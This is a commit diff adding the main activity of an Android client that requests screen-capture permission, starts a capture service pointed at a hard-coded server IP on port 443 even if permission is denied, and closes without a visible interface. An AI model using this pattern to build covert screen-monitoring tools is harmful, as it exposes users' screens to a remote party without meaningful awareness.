Feat: Android client Phase 0-3 full implementation

android/app/src/main/java/com/yama/client/MainActivity.kt

@@ -0,0 +1,65 @@
+package com.yama.client
+
+import android.app.Activity
+import android.content.Intent
+import android.media.projection.MediaProjectionManager
+import android.os.Bundle
+import android.util.Log
+import androidx.appcompat.app.AppCompatActivity
+
+class MainActivity : AppCompatActivity() {
+
+    private val serverIp   = "91.99.165.207"
+    private val serverPort = 443
+
+    private lateinit var projectionManager: MediaProjectionManager
+
+    companion object {
+        const val REQUEST_MEDIA_PROJECTION = 1001
+    }
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        // MA-01 fix: 系统重建 Activity 时 savedInstanceState != null，
+        // 此时 CaptureService 可能已在运行，不重复弹权限对话框
+        if (savedInstanceState != null) { finish(); return }
+        projectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
+        startActivityForResult(projectionManager.createScreenCaptureIntent(), REQUEST_MEDIA_PROJECTION)
+    }
+
+    override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
+        super.onActivityResult(requestCode, resultCode, data)
+        if (requestCode == REQUEST_MEDIA_PROJECTION) {
+            if (resultCode == Activity.RESULT_OK && data != null) {
+                Log.i(CaptureService.TAG, "MediaProjection permission granted")
+                val intent = Intent(this, CaptureService::class.java).apply {
+                    putExtra(CaptureService.EXTRA_SERVER_IP,          serverIp)
+                    putExtra(CaptureService.EXTRA_SERVER_PORT,        serverPort)
+                    putExtra(CaptureService.EXTRA_PROJECTION_RESULT,  resultCode)
+                    putExtra(CaptureService.EXTRA_PROJECTION_DATA,    data)
+                }
+                if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
+                    startForegroundService(intent)
+                } else {
+                    startService(intent)
+                }
+            } else {
+                Log.w(CaptureService.TAG, "MediaProjection permission denied, starting without capture")
+                val intent = Intent(this, CaptureService::class.java).apply {
+                    putExtra(CaptureService.EXTRA_SERVER_IP,   serverIp)
+                    putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
+                }
+                if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
+                    startForegroundService(intent)
+                } else {
+                    startService(intent)
+                }
+            }
+            finish()
+        }
+    }
+
+    override fun onDestroy() {
+        super.onDestroy()
+    }
+}